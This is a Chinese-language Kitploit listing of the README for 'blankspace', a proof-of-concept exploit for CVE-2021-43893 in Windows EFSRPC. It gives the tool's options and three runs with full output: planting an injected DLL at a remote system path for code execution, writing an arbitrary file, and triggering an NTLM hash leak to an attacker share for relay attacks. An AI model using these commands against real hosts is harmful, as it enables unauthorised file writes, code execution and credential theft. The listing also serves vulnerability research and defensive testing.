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blankspace — # EFSRPC 任意文件上传概念验证(CVE-2021-43893) | Kitploit
工具/GitHubGitHub/jbaines-r7/blankspace
权限提升漏洞利用框架漏洞利用横向移动后渗透利用
GitHubjbaines-r7/blankspace

blankspace

# EFSRPC 任意文件上传概念验证(CVE-2021-43893)

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Blank Space

Blank Space 是对 James Forshaw 的原始概念验证的重构,针对 CVE-2021-43893,即 EFSRPC 任意文件上传权限提升漏洞。如果远程主机使用非约束委派且未针对 CVE-2021-43893 打补丁,Blank Space 可以在该主机上创建任意文件。文件创建使用远程用户的权限完成,因此代码执行虽然有一定推测性,但绝对是有可能的。即使在 CVE-2021-43893 已被修补之后,Blank Space 仍可用于发起中继攻击。同样,管理员用户可以覆盖现有文件,尽管这可以说并未跨越安全边界。

代码执行、中继攻击和文件破坏的示例均可在我的 Rapid7 博客中找到。该概念验证假定执行用户能够向远程主机进行身份验证。

使用方法

选项

Blank Space 始终需要远程主机(--rhost)和远程文件名(--filename)。CVE-2021-43893 有点特定于 \\.\C:\ 文件路径,但我将如何定义路径的决定权留给用户(例如,\\localhost\sharename 或 \\remotehost\share 都是有效选项,具体取决于你在做什么)。

root@kitploit:~
C:\Users\lowlevel\blankspace\Release>.\blankspace.exe
 ____    ___                    __          ____
/\  _`\ /\_ \                  /\ \        /\  _`\
\ \ \L\ \//\ \      __      ___\ \ \/'\    \ \,\L\_\  _____      __      ___     __
 \ \  _ <'\ \ \   /'__`\  /' _ `\ \ , <     \/_\__ \ /\ '__`\  /'__`\   /'___\ /'__`\
  \ \ \L\ \\_\ \_/\ \L\.\_/\ \/\ \ \ \\`\     /\ \L\ \ \ \L\ \/\ \L\.\_/\ \__//\  __/
   \ \____//\____\ \__/.\_\ \_\ \_\ \_\ \_\   \ `\____\ \ ,__/\ \__/.\_\ \____\ \____\
    \/___/ \/____/\/__/\/_/\/_/\/_/\/_/\/_/    \/_____/\ \ \/  \/__/\/_/\/____/\/____/
                                                        \ \_\
                                                         \/_/
option "rhost" is required
Available options:
  -h, --help              Produces a help message
  -r, --rhost arg         The remote host to target
  -f, --filename arg      The name of the file to create/write to
  -s, --input-string arg  A string of data to write
  -i, --input-file arg    A string of data to write
  --relay                 Initiate NTLM hash leak
  --directory             Create a directory

使用文件创建远程文件

root@kitploit:~
C:\ProgramData>.\blankspace.exe -r vulnerable.okhuman.ninja -f \\.\C:\Python27\fveapi.dll -i ./dll_inject64.dll
 ____    ___                    __          ____
/\  _`\ /\_ \                  /\ \        /\  _`\
\ \ \L\ \//\ \      __      ___\ \ \/'\    \ \,\L\_\  _____      __      ___     __
 \ \  _ <'\ \ \   /'__`\  /' _ `\ \ , <     \/_\__ \ /\ '__`\  /'__`\   /'___\ /'__`\
  \ \ \L\ \\_\ \_/\ \L\.\_/\ \/\ \ \ \\`\     /\ \L\ \ \ \L\ \/\ \L\.\_/\ \__//\  __/
   \ \____//\____\ \__/.\_\ \_\ \_\ \_\ \_\   \ `\____\ \ ,__/\ \__/.\_\ \____\ \____\
    \/___/ \/____/\/__/\/_/\/_/\/_/\/_/\/_/    \/_____/\ \ \/  \/__/\/_/\/____/\/____/
                                                        \ \_\
                                                         \/_/
[+] Creating EFS RPC binding handle to vulnerable.okhuman.ninja
[+] Attempting to write to \\.\C:\Python27\fveapi.dll
[+] Encrypt the empty remote file...
[+] Reading the encrypted remote file object
[+] Read back 1244 bytes
[+] Writing 92160 bytes of attacker data to encrypted object::$DATA stream
[+] Decrypt the the remote file
[!] Success!

C:\ProgramData>

使用字符串创建远程文件

root@kitploit:~
C:\Users\lowlevel\blankspace\Release>.\blankspace.exe -r 10.0.0.6 -f \\.\C:\ProgramData\hello -s "hello world!"
 ____    ___                    __          ____
/\  _`\ /\_ \                  /\ \        /\  _`\
\ \ \L\ \//\ \      __      ___\ \ \/'\    \ \,\L\_\  _____      __      ___     __
 \ \  _ <'\ \ \   /'__`\  /' _ `\ \ , <     \/_\__ \ /\ '__`\  /'__`\   /'___\ /'__`\
  \ \ \L\ \\_\ \_/\ \L\.\_/\ \/\ \ \ \\`\     /\ \L\ \ \ \L\ \/\ \L\.\_/\ \__//\  __/
   \ \____//\____\ \__/.\_\ \_\ \_\ \_\ \_\   \ `\____\ \ ,__/\ \__/.\_\ \____\ \____\
    \/___/ \/____/\/__/\/_/\/_/\/_/\/_/\/_/    \/_____/\ \ \/  \/__/\/_/\/____/\/____/
                                                        \ \_\
                                                         \/_/
[+] Creating EFS RPC binding handle to 10.0.0.6
[+] Attempting to write to \\.\C:\ProgramData\hello
[+] Encrypt the empty remote file...
[+] Reading the encrypted remote file object
[+] Read back 1244 bytes
[+] Writing 12 bytes of attacker data to encrypted object::$DATA stream
[+] Decrypt the the remote file
[!] Success!

C:\Users\lowlevel\blankspace\Release>

触发中继攻击

root@kitploit:~
C:\ProgramData>blankspace.exe -r yeet.okhuman.ninja -f \\10.0.0.3\r7\r7 --relay
 ____    ___                    __          ____
/\  _`\ /\_ \                  /\ \        /\  _`\
\ \ \L\ \//\ \      __      ___\ \ \/'\    \ \,\L\_\  _____      __      ___     __
 \ \  _ <'\ \ \   /'__`\  /' _ `\ \ , <     \/_\__ \ /\ '__`\  /'__`\   /'___\ /'__`\
  \ \ \L\ \\_\ \_/\ \L\.\_/\ \/\ \ \ \\`\     /\ \L\ \ \ \L\ \/\ \L\.\_/\ \__//\  __/
   \ \____//\____\ \__/.\_\ \_\ \_\ \_\ \_\   \ `\____\ \ ,__/\ \__/.\_\ \____\ \____\
    \/___/ \/____/\/__/\/_/\/_/\/_/\/_/\/_/    \/_____/\ \ \/  \/__/\/_/\/____/\/____/
                                                        \ \_\
                                                         \/_/
[+] Creating EFS RPC binding handle to yeet.okhuman.ninja
[+] Sending EfsRpcDecryptFileSrv for \\10.0.0.3\r7\r7
[-] EfsRpcDecryptFileSrv failed with status code: 53
[+] Network path not found error received!
[!] Success!
C:\ProgramData>

致谢

  • James Forshaw - 原始漏洞发现和概念验证
  • Taylor Swift
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